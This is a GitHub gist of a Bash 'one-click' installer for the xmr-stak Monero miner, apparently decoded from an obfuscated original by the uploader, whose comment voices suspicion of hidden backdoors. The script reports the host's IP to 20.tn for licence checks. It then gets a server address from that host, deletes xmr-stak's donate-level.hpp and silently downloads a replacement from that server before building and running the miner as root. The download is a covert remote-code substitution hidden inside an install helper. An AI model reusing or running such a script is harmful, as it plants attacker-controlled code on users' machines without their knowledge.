Skip to content

Instantly share code, notes, and snippets.

@minmemory
Created June 13, 2018 15:21
Show Gist options
  • Save minmemory/7cbb145c6955e0eda036aadaeaa46d23 to your computer and use it in GitHub Desktop.
Save minmemory/7cbb145c6955e0eda036aadaeaa46d23 to your computer and use it in GitHub Desktop.
银河的XMR一键脚本,由本敏还原
#!/bin/bash
#By:银河
#QQ:2282677574
#为了保持更好的兼容性 脚本并未使用shc加密
#脚本加密是为了在一定程度上防止移除授权程序
#授权程序是为了统计使用情况以此决定脚本是否继续升级
#此脚本无任何后门,如果你已看到这些文字,请检查是否存在后门
#您的支持是我最大动力!
#PS:嘿嘿
#Centos依赖安装
cyilai(){
echo -e "\033[33m正在安装git...\033[0m"
sudo yum install git -y
echo -e "\033[33m正在安装screen...\033[0m"
sudo yum install screen -y
echo -e "\033[33m正在安装centos-release-scl...\033[0m"
sudo yum install centos-release-scl -y
echo -e "\033[33m正在安装epel-release...\033[0m"
sudo yum install epel-release -y
echo -e "\033[33m正在安装cmake3...\033[0m"
sudo yum install cmake3 -y
echo -e "\033[33m正在安装devtoolset-4-gcc*...\033[0m"
sudo yum install devtoolset-4-gcc* -y
echo -e "\033[33m正在安装hwloc-devel...\033[0m"
sudo yum install hwloc-devel -y
echo -e "\033[33m正在安装libmicrohttpd-devel...\033[0m"
sudo yum install libmicrohttpd-devel -y
echo -e "\033[33m正在安装openssl-devel...\033[0m"
sudo yum install openssl-devel -y
echo -e "\033[33m正在安装make...\033[0m"
sudo yum install make -y
echo "依赖安装完毕..."
cgcc && return
}
#Centos覆盖GCC
cgcc(){
ln -s /opt/rh/devtoolset-4/root/usr/bin/* /usr/local/bin/
Centos6 && return
}
#Debian 7+部署
function Debian7(){
apt-get update -y
apt-get install wget -y
apt-get install screen -y
apt-get install git -y
file_server=`curl -s http://20.tn/adqc.php?url=${IPAddress}`
sudo apt install libmicrohttpd-dev libssl-dev cmake build-essential libhwloc-dev -y
cd /root
git clone https://github.com/fireice-uk/xmr-stak.git
mkdir xmr-stak/build
cd /root/xmr-stak/xmrstak
rm donate-level.hpp
wget ${file_server}/donate-level.hpp >/dev/null 2>&1
cd /root/xmr-stak/build
echo -e "
---------------------------------------------------------
请选择您的程序运行方式
---------------------------------------------------------
${YELLOW}【1】仅CPU运行${PLAIN}
${BLUE}【2】CPU+AMD运行${PLAIN}
${GREEN}【3】CPU+NVIDIA运行${PLAIN}
---------------------------------------------------------
---------------------------------------------------------
(温馨提示:写错可用Ctrl+退格 删除 )
---------------------------------------------------------
"
read chengshi
if [ $chengshi == 2 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择CPU+AMD运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake .. -DCUDA_ENABLE=OFF -DCPU_ENABLE=ON -DOpenCL_ENABLE=ON
elif [ $chengshi == 3 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择CPU+NVIDIA运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake .. -DCUDA_ENABLE=ON -DCPU_ENABLE=ON -DOpenCL_ENABLE=OFF
elif [ $chengshi == 1 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择仅CPU运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake .. -DCUDA_ENABLE=OFF -DCPU_ENABLE=ON -DOpenCL_ENABLE=OFF
fi
make install
cd bin/ && screen ./xmr-stak
}
#Ubuntu 16.04+部署
function Ubuntu16.04(){
apt-get update -y
apt-get install wget -y
apt-get install screen -y
apt-get install git -y
file_server=`curl -s http://20.tn/adqc.php?url=${IPAddress}`
sudo apt install libmicrohttpd-dev libssl-dev cmake build-essential libhwloc-dev -y
cd /root
git clone https://github.com/fireice-uk/xmr-stak.git
mkdir xmr-stak/build
cd /root/xmr-stak/xmrstak
rm donate-level.hpp
wget ${file_server}/donate-level.hpp >/dev/null 2>&1
cd /root/xmr-stak/build
echo -e "
---------------------------------------------------------
请选择您的程序运行方式
---------------------------------------------------------
${YELLOW}【1】仅CPU运行${PLAIN}
${BLUE}【2】CPU+AMD运行${PLAIN}
${GREEN}【3】CPU+NVIDIA运行${PLAIN}
---------------------------------------------------------
---------------------------------------------------------
(温馨提示:写错可用Ctrl+退格 删除 )
---------------------------------------------------------
"
read chengshi
if [ $chengshi == 2 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择CPU+AMD运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake .. -DCUDA_ENABLE=OFF -DCPU_ENABLE=ON -DOpenCL_ENABLE=ON
elif [ $chengshi == 3 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择CPU+NVIDIA运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake .. -DCUDA_ENABLE=ON -DCPU_ENABLE=ON -DOpenCL_ENABLE=OFF
elif [ $chengshi == 1 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择仅CPU运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake .. -DCUDA_ENABLE=OFF -DCPU_ENABLE=ON -DOpenCL_ENABLE=OFF
fi
make install
cd bin/ && screen ./xmr-stak
}
#Ubuntu 14.04部署
function Ubuntu14.04(){
apt-get install wget -y
apt-get install screen -y
apt-get install git -y
sudo add-apt-repository ppa:ubuntu-toolchain-r/test
sudo apt update
sudo apt install gcc-5 g++-5 make
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5 1 --slave /usr/bin/g++ g++ /usr/bin/g++-5
file_server=`curl -s http://20.tn/adqc.php?url=${IPAddress}`
curl -L http://www.cmake.org/files/v3.4/cmake-3.4.1.tar.gz | tar -xvzf - -C /tmp/
cd /tmp/cmake-3.4.1/ && ./configure && make && sudo make install && cd -
sudo update-alternatives --install /usr/bin/cmake cmake /usr/local/bin/cmake 1 --force
sudo apt install libmicrohttpd-dev libssl-dev libhwloc-dev
cd /root
git clone https://github.com/fireice-uk/xmr-stak.git
mkdir xmr-stak/build
cd /root/xmr-stak/xmrstak
rm donate-level.hpp
wget ${file_server}/donate-level.hpp >/dev/null 2>&1
cd /root/xmr-stak/build
echo -e "
---------------------------------------------------------
请选择您的程序运行方式
---------------------------------------------------------
${YELLOW}【1】仅CPU运行${PLAIN}
${BLUE}【2】CPU+AMD运行${PLAIN}
${GREEN}【3】CPU+NVIDIA运行${PLAIN}
---------------------------------------------------------
---------------------------------------------------------
(温馨提示:写错可用Ctrl+退格 删除 )
---------------------------------------------------------
"
read chengshi
if [ $chengshi == 2 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择CPU+AMD运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake .. -DCUDA_ENABLE=OFF -DCPU_ENABLE=ON -DOpenCL_ENABLE=ON
elif [ $chengshi == 3 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择CPU+NVIDIA运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake .. -DCUDA_ENABLE=ON -DCPU_ENABLE=ON -DOpenCL_ENABLE=OFF
elif [ $chengshi == 1 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择仅CPU运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake .. -DCUDA_ENABLE=OFF -DCPU_ENABLE=ON -DOpenCL_ENABLE=OFF
fi
make install
cd bin/ && screen ./xmr-stak
}
#Centos 6+部署
function Centos6(){
cd /root
git clone https://github.com/fireice-uk/xmr-stak.git
mkdir /root/xmr-stak/build
cd /root/xmr-stak/xmrstak
rm donate-level.hpp
wget ${file_server}/donate-level.hpp >/dev/null 2>&1
cd /root/xmr-stak/build
echo -e "
---------------------------------------------------------
请选择您的程序运行方式
---------------------------------------------------------
${YELLOW}【1】仅CPU运行${PLAIN}
${BLUE}【2】CPU+AMD运行${PLAIN}
${GREEN}【3】CPU+NVIDIA运行${PLAIN}
---------------------------------------------------------
---------------------------------------------------------
(温馨提示:写错可用Ctrl+退格 删除 )
---------------------------------------------------------
"
read chengshi
if [ $chengshi == 2 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择CPU+AMD运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake3 .. -DCUDA_ENABLE=OFF -DCPU_ENABLE=ON -DOpenCL_ENABLE=ON
elif [ $chengshi == 3 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择CPU+NVIDIA运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake3 .. -DCUDA_ENABLE=ON -DCPU_ENABLE=ON -DOpenCL_ENABLE=OFF
elif [ $chengshi == 1 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择仅CPU运行 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cmake3 .. -DCUDA_ENABLE=OFF -DCPU_ENABLE=ON -DOpenCL_ENABLE=OFF
fi
make install
cd bin/ && screen ./xmr-stak
}
#操作系统检测
function OS_VERSION(){
file_server=`curl -s http://20.tn/adqc.php?url=${IPAddress}`
echo "当前正在检测您的操作系统......."
if [ -f /etc/os-release ]
then
{
OS_VERSION=`cat /etc/os-release |awk -F'[="]+' '/^NAME=/ {print $2}'`
OS_VERSION1=`cat /etc/os-release |awk -F'[="]+' '/^NAME=/ {print $2}'`
OS_VERSION2=`cat /etc/os-release |awk -F'[="]+' '/^NAME=/ {print $2}'`
OS_VERSION3=`cat /etc/os-release |awk -F'[="]+' '/^NAME=/ {print $2}'`
echo -e "\n当前操作系统为:\033[31m$OS_VERSION\033[0m\n"
}
elif [ -f /etc/lsb-release ]
then
{
OS_VERSION=`cat /etc/lsb-release |awk -F'[=]+' '/^DISTRIB_ID/{print $2}'`
OS_VERSION1=`cat /etc/lsb-release |awk -F'[=]+' '/^DISTRIB_ID/{print $2}'`
OS_VERSION2=`cat /etc/lsb-release |awk -F'[=]+' '/^DISTRIB_ID/{print $2}'`
OS_VERSION3=`cat /etc/lsb-release |awk -F'[=]+' '/^DISTRIB_ID/{print $2}'`
echo -e "\n当前操作系统为:\033[31m$OS_VERSION\033[0m\n"
}
elif [ -f /etc/redhat-release ]
then
{
OS_VERSION=`cat /etc/redhat-release |awk '{print ($1)}'`
OS_VERSION1=`cat /etc/redhat-release |awk '{print ($1)}'`
OS_VERSION2=`cat /etc/redhat-release |awk '{print ($1)}'`
OS_VERSION3=`cat /etc/redhat-release |awk '{print ($1)}'`
echo -e "\n当前操作系统为:\033[31m$OS_VERSION\033[0m\n"
}
fi;
erjian
}
#二次检测
function erjian(){
if [ "$OS_VERSION1"n == "$vrt"n ]
then
{
cyilai
}
else
{
hahaha
}
fi
}
function hahaha(){
if [ "$OS_VERSION2"m == "$vrtt"m ]
then
{
Debian7
}
else
{
hahahaha
}
fi
}
function hahahaha(){
if [ "$OS_VERSION3"b == "$vrttt"b ]
then
{
echo -e "${YELLOW}您的系统为Ubuntu,进行版本判定.......${PLAIN}"
get_banbenhao
}
else
{
heihei
}
fi
}
function heihei(){
echo "
---------------------------------------------------------
无法检测您的操作系统,请输入序号选择您的操作系统
---------------------------------------------------------
---------------------------------------------------------
【1】Ubuntu 14.04
【2】Ubuntu 16.04+
【3】Debian 7+
【4】CentOS6+
---------------------------------------------------------
---------------------------------------------------------
(温馨提示:写错可用Ctrl+退格 删除 )
---------------------------------------------------------
"
read xuanze
if [ $xuanze = 1 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择Ubuntu 14.04 \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
Ubuntu14.04 && return
elif [ $xuanze = 4 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择CentOS 6+ \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
cyilai && return
elif [ $xuanze = 3 ]
then
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择Debian 7+ \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
Debian7 && return
else
echo -e "\033[32m -------------------------------- \033[0m"
echo -e "\033[32m 您已选择Ubuntu 16.04+ \033[0m"
echo -e "\033[32m -------------------------------- \033[0m"
Ubuntu16.04 && return
fi
}
#Ubuntu下版本号判定
function get_banbenhao(){
echo -e "\n您的系统为:\033[31m$OS_VERSION\033[0m\n正在识别版本号..."
if [ -f /etc/os-release ]
then
banbenhao=`cat /etc/os-release |awk -F'[="]+' '/^VERSION_ID=/ {print $2}'`
echo -e "\n您的版本号为:\033[31m$banbenhao\033[0m\n"
fi
if [ -f /etc/lsb-release ]
then
banbenhao=`cat /etc/lsb-release |awk -F'[=]+' '/^DISTRIB_RELEASE/{print $2}'`
echo -e "\n您的版本号为:\033[31m$banbenhao\033[0m\n"
fi
if [ $banbenhao!=14.04 ]
then
Ubuntu16.04 && return
fi
if [ $banbenhao=14.04 ]
then
Ubuntu14.04 && return
fi
}
#IP授权
function shouquan(){
checkServerIp=`wget http://20.tn/api.php?url=${IPAddress} -O - -q ; echo`;
if [ "${checkServerIp}" != "1" ];then
echo -e "\033[31m系统检测你的IP未授权,现已启动自动授权系统\033[0m"
sleep 1;
echo -e "请等待5s服务器正在连接授权系统..."
sleep 5
echo -e "\033[32m请输入授权用户(绑定QQ)\033[0m"
read qq
echo -e "\033[33m请输入授权码[免费获取的授权码]\033[0m"
read km
checkSeverIpTwo="`curl -s "20.tn/yc.php?menu1=6&url=${IPAddress}&qq=${qq}&km=${km}&submit=%E7%A1%AE%E5%AE%9A%E6%8E%88%E6%9D%83"`";
if [ "$checkSeverIpTwo" != "1" ];then
echo -e "\033[35m卡密验证失败,请检查输入是否正确\033[0m"
echo -e "\033[36mVRT交流群:693973402\033[0m"
echo -e "\033[36m免费卡密获取地址:http://953ka.com/list/8VaIs\033[0m"
fi;
dlfile && return
fi;
dlfile && return
}
#二次验证
function dlfile(){
echo -e "\033[33m您的IP已授权\033[0m"
dlfile=`curl -s http://20.tn/adc.php?url=${IPAddress}`
if [ $dlfile=ture ];then
OS_VERSION && return
fi;
exit
}
function main(){
# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
BLUE='\033[0;36m'
PLAIN='\033[0m'
vrt="CentOS"
vrtt="Debian GNU/Linux"
vrttt="Ubuntu"
Min='
我最看不起打包脚本套壳加密的做法,可能初衷没有恶意,但是这样怎么能让人不怀疑
如果没有必要,最好不要这样做,不然有足够理由怀疑会在某次升级的时候加入后门
要是我连这种东西都没法解密,那敏敏真的可以不用活了
Yvonne Lu https://t.me/minmemory
';
COO='
=========================================================================
Monero一键配置脚本
本脚本暂时仅支持Ubuntu 14.04+ /Debian 7+ /CentOS6+
Powered by 银 河
All Rights Reserved
https://vrt.app/ 叮当猫(QQ:843725544)订制脚本
=========================================================================';
echo -e "\033[35m $Min \033[0m"
echo "$COO"
echo -e "请输入回车后确认执行"
read -n1
#IP检测
echo "正在检测您的IP..."
IP=`wget http://members.3322.org/dyndns/getip -O - -q;`;
IPAddress=`wget http://members.3322.org/dyndns/getip -O - -q;`;
if [[ "$IP" == '' ]]; then
echo '无法检测您的IP,回车脚本将自动退出';
read -n1
exit;
fi;
[[ "$IP" != '' ]] &&
echo -e 'IP状态: [\033[32m OK \033[0m]'
echo -e "您的IP是:\033[34m$IP \033[0m"
echo
shouquan
return 1
}
main
exit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment